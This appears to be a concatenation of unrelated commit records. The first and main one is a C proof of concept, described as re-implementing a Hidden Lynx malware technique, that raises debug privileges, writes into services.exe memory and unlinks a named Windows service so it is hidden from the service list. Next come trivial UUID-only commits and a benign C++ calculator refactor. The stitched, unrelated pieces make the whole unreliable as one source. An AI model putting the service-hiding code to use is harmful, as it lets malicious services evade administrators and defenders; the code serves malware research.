    file_map = CreateFileMapping(svc_file, NULL, PAGE_READONLY, 0, alloc_gran, TEXT("hs_services_mapping"));
    if (file_map == INVALID_HANDLE_VALUE)
        goto fail;

    // Search for service record list head
    for (DWORD x = 0; x < HS_INFO_BUFFER_SIZE; x+=alloc_gran) {
        // Map file to memory
        file_view = (LPDWORD)MapViewOfFile(file_map, FILE_MAP_READ, 0, x, alloc_gran);
        if (file_view == INVALID_HANDLE_VALUE || file_view == NULL) {
            goto fail;
        }
        // Scan memory for service record list head
        for (LPBYTE y = (LPBYTE)file_view; (LPDWORD)y < file_view+(alloc_gran/sizeof(DWORD)); y+=1) {
            if (*((LPDWORD)y) == 0xA1909090) {
                if (*(((LPDWORD)y)+2) == 0x909090C3) {
                    // Get first real entry from head
                    if(!ReadProcessMemory(hServices, (LPVOID)*(((LPDWORD)y)+1), &ret, 4, &bytes_read) ||
                        bytes_read != 4) {
                        goto fail;
                    }
                    // Get service entry magic number
                    if(!ReadProcessMemory(hServices, ((LPDWORD)ret)+6, &tmp_buf, 4, &bytes_read) ||
                        bytes_read != 4) {
                        goto fail;
                    }
                    // Check magic number
					UnmapViewOfFile(file_view);
					if (tmp_buf == 0x76724573/*sErv*/) {
                        return ret;
					}
                }
            }
        }
        UnmapViewOfFile(file_view);
        file_view = NULL;
    }
fail:
    CloseHandle(svc_file);
    UnmapViewOfFile(file_view);
    CloseHandle(file_map);
    return NULL;
}

HS_LPSVC_ENTRY hs_find_svc_entry(HANDLE hServices, LPVOID svc_record_list)
{
    HS_LPSVC_ENTRY lpsvc_entry = (HS_LPSVC_ENTRY)svc_record_list;
    LPDWORD lpsvc_name;
    TCHAR svc_name[HS_MAX_LEN_SVC_NAME];
    SIZE_T bytes_read = 0;

    // Find the service entry with specified name
    do {
        // Read svc_name ptr
        if (!ReadProcessMemory(hServices, ((LPDWORD)lpsvc_entry)+2,
                               &lpsvc_name, 4, &bytes_read) || bytes_read != 4) {
            return NULL;
        }
        // Read svc_name
        if (!ReadProcessMemory(hServices, lpsvc_name,
                               svc_name, HS_MAX_LEN_SVC_NAME, &bytes_read) || bytes_read != HS_MAX_LEN_SVC_NAME) {
            return NULL;
        }
        // Is this the right service entry?
        if (lstrcmpi(svc_name, hs_szSvcName) == 0) {
            return lpsvc_entry;
        }
        // Go to next entry
    } while (lpsvc_entry != NULL &&
              ReadProcessMemory(hServices, ((LPDWORD)lpsvc_entry)+1, &lpsvc_entry, 4, &bytes_read) &&
             bytes_read == 4);
    return NULL;
}

BOOL hs_unlink_svc(HANDLE hServices, HS_LPSVC_ENTRY my_svc_entry)
{
    hs_svc_entry tmp_buf;
    DWORD num_bytes = 0;
    if (!ReadProcessMemory(hServices, my_svc_entry, &tmp_buf, 8, &num_bytes) || num_bytes != 8)
        return FALSE;
    // my_prev->next = my_next
    if (!WriteProcessMemory(hServices, ((LPDWORD)tmp_buf.prev_ptr) + 1, &tmp_buf.next_ptr, 4, &num_bytes) || num_bytes != 4)
        return FALSE;
    // my_next->prev = my_prev
    if (!WriteProcessMemory(hServices, tmp_buf.next_ptr, &tmp_buf.prev_ptr, 4, &num_bytes) || num_bytes != 4)
        return FALSE;
    return TRUE;
}
<commit_msg>Removes tabs and switches EOL to Unix<commit_after>/* Copyright (c) 2014 Branden Clark
 *   MIT License: See LICENSE for details.
 *   It's only used because it's the least restrictive license I could find.
 * Description:
 *   Unlinking services from the service record list POC.
 *   Re-implementation of a method from a Hidden Lynx malware variant.
 */

#include <windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <aclapi.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment(lib, "advapi32.lib")

#define HS_INFO_BUFFER_SIZE 32767
#define HS_MAX_LEN_SVC_NAME 80

typedef struct hs_svc_entry {
    void *prev_ptr;
    void *next_ptr;
    TCHAR *svc_name;
    TCHAR *svc_display_name;
    int list_index;
    int unk_1;
    int magic_sErv;
    int unk_2;
    int unk_3;
    int unk_4;
    SERVICE_STATUS svc_status;
} hs_svc_entry;
typedef hs_svc_entry * HS_LPSVC_ENTRY;

TCHAR hs_szSvcName[HS_MAX_LEN_SVC_NAME];

/* Main functions */
VOID hs_do_unlink_svc(void);
HANDLE hs_get_services_handle(void);
LPVOID hs_find_svc_record_list(HANDLE hServices);
HS_LPSVC_ENTRY hs_find_svc_entry(HANDLE hServices, LPVOID svc_record_list);
BOOL hs_unlink_svc(HANDLE hServices, HS_LPSVC_ENTRY my_svc_entry);

/* Helpers */
VOID hs_display_usage(void);
BOOL hs_set_SeDebugPrivilege();

void _tmain(int argc, TCHAR *argv[])
{
    if( argc != 2 )
    {
        printf("ERROR: Incorrect number of arguments\n");
        hs_display_usage();
        return;
    }

    StringCchCopy(hs_szSvcName, HS_MAX_LEN_SVC_NAME, argv[1]);

    hs_do_unlink_svc();
}

VOID hs_display_usage()
{
    printf("Description:\n");
    printf("\tCommand-line tool that unlinks a service "
           "from the service record list.\n");
    printf("Usage:\n");
    printf("\tunlink_svc [service_name]\n");
}

VOID hs_do_unlink_svc()
{
    bool error = FALSE;
    if(!hs_set_SeDebugPrivilege())
        goto fail;
    // Get a handle to services.exe (process)
    HANDLE hServices = hs_get_services_handle();
    if (hServices == INVALID_HANDLE_VALUE)
        goto fail;
    // Find the first entry in the service record list
    LPVOID svc_record_list = hs_find_svc_record_list(hServices);
    if (svc_record_list == NULL)
        goto fail;
    // Find the requested entry by name
    HS_LPSVC_ENTRY my_svc_entry = hs_find_svc_entry(hServices, svc_record_list);
    if (my_svc_entry == NULL)
        goto fail;
    // Unlink the requested entry
    if (!hs_unlink_svc(hServices, my_svc_entry))
        goto fail;
end:
    _tprintf(TEXT("%s %s from the service record list.\n"),
             (error) ? TEXT("Failed to unlink") : TEXT("Sucessfully unlinked"),
             hs_szSvcName);
    return;
fail:
    error = TRUE;
    goto end;
}

BOOL hs_set_SeDebugPrivilege()
{
    HANDLE hProcess;
    HANDLE hToken;
    TOKEN_PRIVILEGES dbg_tp;
    LUID dbg_luid;
    DWORD my_pid = GetCurrentProcessId();

    // Get my access token
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION, FALSE, my_pid);
    if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
        return FALSE;

    // Lookup value for SeDebugPrivilege
    if (!LookupPrivilegeValue(NULL, TEXT("SeDebugPrivilege"), &dbg_luid)) {
        return FALSE;
    }

    // Escalate my privileges
    dbg_tp.PrivilegeCount = 1;
    dbg_tp.Privileges[0].Luid = dbg_luid;
    dbg_tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &dbg_tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) ||
        GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
        return FALSE;
    }
    return TRUE;
}

HANDLE hs_get_services_handle()
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    // Begin process enumeration
    hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
        return INVALID_HANDLE_VALUE;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
        return INVALID_HANDLE_VALUE;
    }

    // Enumerate the processes
    do {
        if (lstrcmpi(pe32.szExeFile, TEXT("services.exe")) == 0) {
            CloseHandle(hProcessSnap);
            return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    return INVALID_HANDLE_VALUE;
}

LPVOID hs_find_svc_record_list(HANDLE hServices)
{
    TCHAR info_buf[HS_INFO_BUFFER_SIZE];
    DWORD bytes_read = 0;
    SYSTEM_INFO sys_info;
    DWORD alloc_gran = 0;
    HS_LPSVC_ENTRY ret = 0;
    DWORD tmp_buf = 0;
    HANDLE svc_file = INVALID_HANDLE_VALUE;
    HANDLE file_map = INVALID_HANDLE_VALUE;
    LPDWORD file_view = NULL;

    // Open services.exe
    GetSystemDirectory(info_buf, HS_INFO_BUFFER_SIZE);
    StringCchCat(info_buf, HS_INFO_BUFFER_SIZE, TEXT("\\services.exe"));
    svc_file = CreateFile(info_buf, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (svc_file == INVALID_HANDLE_VALUE)
        goto fail;

    // Get allocation granularity
    GetSystemInfo(&sys_info);
    alloc_gran = sys_info.dwAllocationGranularity;

    // Create mapping for file
    file_map = CreateFileMapping(svc_file, NULL, PAGE_READONLY, 0, alloc_gran, TEXT("hs_services_mapping"));
    if (file_map == INVALID_HANDLE_VALUE)
        goto fail;

    // Search for service record list head
    for (DWORD x = 0; x < HS_INFO_BUFFER_SIZE; x+=alloc_gran) {
        // Map file to memory
        file_view = (LPDWORD)MapViewOfFile(file_map, FILE_MAP_READ, 0, x, alloc_gran);
        if (file_view == INVALID_HANDLE_VALUE || file_view == NULL) {
            goto fail;
        }
        // Scan memory for service record list head
        for (LPBYTE y = (LPBYTE)file_view; (LPDWORD)y < file_view+(alloc_gran/sizeof(DWORD)); y+=1) {
            if (*((LPDWORD)y) == 0xA1909090) {
                if (*(((LPDWORD)y)+2) == 0x909090C3) {
                    // Get first real entry from head
                    if(!ReadProcessMemory(hServices, (LPVOID)*(((LPDWORD)y)+1), &ret, 4, &bytes_read) ||
                        bytes_read != 4) {
                        goto fail;
                    }
                    // Get service entry magic number
                    if(!ReadProcessMemory(hServices, ((LPDWORD)ret)+6, &tmp_buf, 4, &bytes_read) ||
                        bytes_read != 4) {
                        goto fail;
                    }
                    // Check magic number
                    UnmapViewOfFile(file_view);
                    if (tmp_buf == 0x76724573/*sErv*/) {
                        return ret;
                    }
                }
            }
        }
        UnmapViewOfFile(file_view);
        file_view = NULL;
    }
fail:
    CloseHandle(svc_file);
    UnmapViewOfFile(file_view);
    CloseHandle(file_map);
    return NULL;
}

HS_LPSVC_ENTRY hs_find_svc_entry(HANDLE hServices, LPVOID svc_record_list)
{
    HS_LPSVC_ENTRY lpsvc_entry = (HS_LPSVC_ENTRY)svc_record_list;
    LPDWORD lpsvc_name;
    TCHAR svc_name[HS_MAX_LEN_SVC_NAME];
    SIZE_T bytes_read = 0;

    // Find the service entry with specified name
    do {
        // Read svc_name ptr
        if (!ReadProcessMemory(hServices, ((LPDWORD)lpsvc_entry)+2,
                               &lpsvc_name, 4, &bytes_read) || bytes_read != 4) {
            return NULL;
        }
        // Read svc_name
        if (!ReadProcessMemory(hServices, lpsvc_name,
                               svc_name, HS_MAX_LEN_SVC_NAME, &bytes_read) || bytes_read != HS_MAX_LEN_SVC_NAME) {
            return NULL;
        }
        // Is this the right service entry?
        if (lstrcmpi(svc_name, hs_szSvcName) == 0) {
            return lpsvc_entry;
        }
        // Go to next entry
    } while (lpsvc_entry != NULL &&
              ReadProcessMemory(hServices, ((LPDWORD)lpsvc_entry)+1, &lpsvc_entry, 4, &bytes_read) &&
             bytes_read == 4);
    return NULL;
}

BOOL hs_unlink_svc(HANDLE hServices, HS_LPSVC_ENTRY my_svc_entry)
{
    hs_svc_entry tmp_buf;
    DWORD num_bytes = 0;
    if (!ReadProcessMemory(hServices, my_svc_entry, &tmp_buf, 8, &num_bytes) || num_bytes != 8)
        return FALSE;
    // my_prev->next = my_next
    if (!WriteProcessMemory(hServices, ((LPDWORD)tmp_buf.prev_ptr) + 1, &tmp_buf.next_ptr, 4, &num_bytes) || num_bytes != 4)
        return FALSE;
    // my_next->prev = my_prev
    if (!WriteProcessMemory(hServices, tmp_buf.next_ptr, &tmp_buf.prev_ptr, 4, &num_bytes) || num_bytes != 4)
        return FALSE;
    return TRUE;
}
<|endoftext|>


<commit_before>528c61e3-ad58-11e7-a548-ac87a332f658<commit_msg>new flies<commit_after>5310ae17-ad58-11e7-9d66-ac87a332f658<|endoftext|>


<commit_before>df9662f8-2747-11e6-b88e-e0f84713e7b8<commit_msg>Added that feature we discussed on... Was it monday?<commit_after>dfa233cf-2747-11e6-942c-e0f84713e7b8<|endoftext|>


<commit_before>172d770f-2748-11e6-94bc-e0f84713e7b8<commit_msg>Fixed that one bug<commit_after>173a9080-2748-11e6-8b6d-e0f84713e7b8<|endoftext|>


<commit_before>#include <iostream>
#include <map>
#include <math.h>

using namespace std;

const int n = 9;

bool fun(bool *x)
{
	for (unsigned int j = 0; j < n-2; ++j)
		if ((x[j] != x[j+1]) && (x[j] != x[j+2]))
			return false;
	return true;
}

enum Token_value
{
	NAME, NUMBER, END,
	PLUS = '+', MINUS = '-', MUL = '*', DIV = '/',
	PRINT = ';', ASSIGN = '=', LP = '(', RP = ')'
};

Token_value curr_tok = PRINT;
double number_value;
string string_value;
map<string, double> table;
int no_of_errors;

double expr(bool);

int error(const string& s)
{
	++no_of_errors;
	cerr << "ошибка: " << s << endl;
	return 1;
}

Token_value get_token()
{
	char ch = 0;
	cin >> ch;
	switch(ch)
	{
	case 0:
		return curr_tok = END;
	case ';':
	case '*':
	case '/':
	case '+':
	case '-':
	case '(':
	case ')':
	case '=':
		return curr_tok = Token_value(ch);
	case '0': case '1': case '2': case '3': case '4':
	case '5': case '6': case '7': case '8': case '9':
	case '.':
		cin.putback(ch);
		cin >> number_value;
		return curr_tok = NUMBER;
	default:
		if (isalpha(ch))
		{
			cin.putback(ch);
			cin >> string_value;
			return curr_tok = NAME;
		}
		error("неправильная лексема");
		return curr_tok = PRINT;
	}
}

double prim(bool get)
{
	if (get)
		get_token();

	switch(curr_tok)
	{
	case NUMBER:
	{
		double v = number_value;
		get_token();
		return v;
	}
	case NAME:
	{
		double& g = table[string_value];
		if (get_token() == ASSIGN)
			g = expr(true);
		return g;
	}
	case MINUS:
		return -prim(true);
	case LP:
	{
		double e = expr(true);
		if (curr_tok != RP)
			return error("ожидалась )");
		get_token();
		return e;
	}
	default:
		return error("ожидалось первичное выражение");
	}
}

double term(bool get)
{
	double left = prim(get);
	while (true)
	{
		switch(curr_tok)
		{
		case MUL:
			left *= prim(true);
			break;
		case DIV:
			if (double d = prim(true))
			{
				left /= d;
				break;
			}
			return error("деление на 0");
		default:
			return left;
		}
	}
}

double expr(bool get)
{
	double left = term(get);
	while(true)
	{
		switch(curr_tok)
		{
		case PLUS:
			left += term(true);
			break;
		case MINUS:
			left -= term(true);
			break;
		default:
			return left;
		}
	}
}

void calculate()
{
	while(cin)
	{
		get_token();
		if (curr_tok == END)
			break;
		if (curr_tok == PRINT)
			continue;
		cout << expr(false) << endl;
	}
}

void overrun()
{
	for (unsigned int i = 0; i < pow(2, n); ++i)
	{
		bool x[n];
		unsigned k = i;
		for (unsigned int j = 0; j < n; ++j)
		{
			x[n-j-1] = 0x1 & k;
			k >>= 1;
		}
		if (fun(x))
		{
			for (unsigned int j = 0; j < n; ++j)
				cout << x[j];
			cout << endl;
		}
	}
}

int main(int argc, char* argv[])
{
	switch(argc)
	{
	case 1:
		cout << "запуск без параметров. выбран режим работы по умолчанию." << endl;
		overrun();
		return 0;
	case 2:
		if (!strcmp(argv[1],"-d"))
		{
			cout << "режим работы по умолчанию" << endl;
			overrun();
			return 0;
		}
		if (!strcmp(argv[1],"-i"))
		{
			cout << "интерактивный режим еще не поддерживается, пока запускается просто калькулятор" << endl;
			calculate();
			return(10);
		}
		cout << "неизвестный параметр" << endl;
		return(1);
	default:
		cout << "слишком много параметров" << endl;
		return(2);
	}
}
<commit_msg>begin refactoring calculator to compilator<commit_after>#include <iostream>
#include <map>
#include <math.h>

using namespace std;

const int n = 9;

bool fun(bool *x)
{
	for (unsigned int j = 0; j < n-2; ++j)
		if ((x[j] != x[j+1]) && (x[j] != x[j+2]))
			return false;
	return true;
}

class Expr
{
public:
	Expr(){}
	virtual operator double() const
	{
		return 0.0;
	}
};

typedef shared_ptr<Expr> PExpr;

class PlusToken: public Expr
{
public:
	PlusToken(PExpr pLeft, PExpr pRight)
		: left (pLeft )
		, right(pRight)
	{}
	operator double() const
	{
		return *left + *right;
	}

private:
	PExpr left;
	PExpr right;
};

class MulToken: public Expr
{
public:
	MulToken(PExpr pLeft, PExpr pRight)
		: left (pLeft )
		, right(pRight)
	{}
	operator double() const
	{
		return *left * *right;
	}

private:
	PExpr left;
	PExpr right;
};

class ValueToken: public Expr
{
public:
	ValueToken(double v)
		: value(v)
	{}
	operator double() const
	{
		return value;
	}

private:
	double value;
};

enum Token_value
{
	NAME, NUMBER, END,
	PLUS = '+', MINUS = '-', MUL = '*', DIV = '/',
	PRINT = ';', ASSIGN = '=', LP = '(', RP = ')'
};

Token_value curr_tok = PRINT;
double number_value;
string string_value;
map<string, double> table;
int no_of_errors;

PExpr expr(bool);

int error(const string& s)
{
	++no_of_errors;
	cerr << "ошибка: " << s << endl;
	return 1;
}

Token_value get_token()
{
	char ch = 0;
	cin >> ch;
	switch(ch)
	{
	case 0:
		return curr_tok = END;
	case ';':
	case '*':
	case '/':
	case '+':
	case '-':
	case '(':
	case ')':
	case '=':
		return curr_tok = Token_value(ch);
	case '0': case '1': case '2': case '3': case '4':
	case '5': case '6': case '7': case '8': case '9':
	case '.':
		cin.putback(ch);
		cin >> number_value;
		return curr_tok = NUMBER;
	default:
		if (isalpha(ch))
		{
			cin.putback(ch);
			cin >> string_value;
			return curr_tok = NAME;
		}
		error("неправильная лексема");
		return curr_tok = PRINT;
	}
}

PExpr prim(bool get)
{
	if (get)
		get_token();

	switch(curr_tok)
	{
	case NUMBER:
	{
		double v = number_value;
		get_token();
		return make_shared<ValueToken>(v);
	}
	case LP:
	{
		PExpr e = expr(true);
		if (curr_tok != RP)
			error("ожидалась )");
		get_token();
		return e;
	}
	default:
		return PExpr();
	}
}

PExpr term(bool get)
{
	PExpr left = prim(get);
	while (true)
	{
		switch(curr_tok)
		{
		case MUL:
		{
			PExpr right = prim(get);
			left = std::make_shared<MulToken>(left, right);
			break;
		}
		default:
			return left;
		}
	}
}

PExpr expr(bool get)
{
	PExpr pLeft = term(get);
	PExpr pRight;
	while(true)
	{
		switch(curr_tok)
		{
		case PLUS:
		{
			pRight = term(true);
			pLeft = make_shared<PlusToken>(pLeft, pRight);
			break;
		}
		default:
			return pLeft;
		}
	}
}

void compile()
{
	//freopen("input.txt", "r", stdin);
	while(cin)
	{
		get_token();
		if (curr_tok == END)
			break;
		if (curr_tok == PRINT)
			continue;
		cout << *expr(false) << endl;
	}
}

void overrun()
{
	for (unsigned int i = 0; i < pow(2, n); ++i)
	{
		bool x[n];
		unsigned k = i;
		for (unsigned int j = 0; j < n; ++j)
		{
			x[n-j-1] = 0x1 & k;
			k >>= 1;
		}
		if (fun(x))
		{
			for (unsigned int j = 0; j < n; ++j)
				cout << x[j];
			cout << endl;
		}
	}
}

int main(int argc, char* argv[])
{
	switch(argc)
	{
	case 1:
		cout << "запуск без параметров. выбран режим работы по умолчанию." << endl;
		overrun();
		return 0;
	case 2:
		if (!strcmp(argv[1],"-d"))
		{
			cout << "режим работы по умолчанию" << endl;
			overrun();
			return 0;
		}
		if (!strcmp(argv[1],"-i"))
		{
			cout << "интерактивный режим еще не поддерживается, пока запускается просто калькулятор" << endl;
			compile();
			return(10);
		}
		cout << "неизвестный параметр" << endl;
		return(1);
	default:
		cout << "слишком много параметров" << endl;
		return(2);
	}
}
<|endoftext|>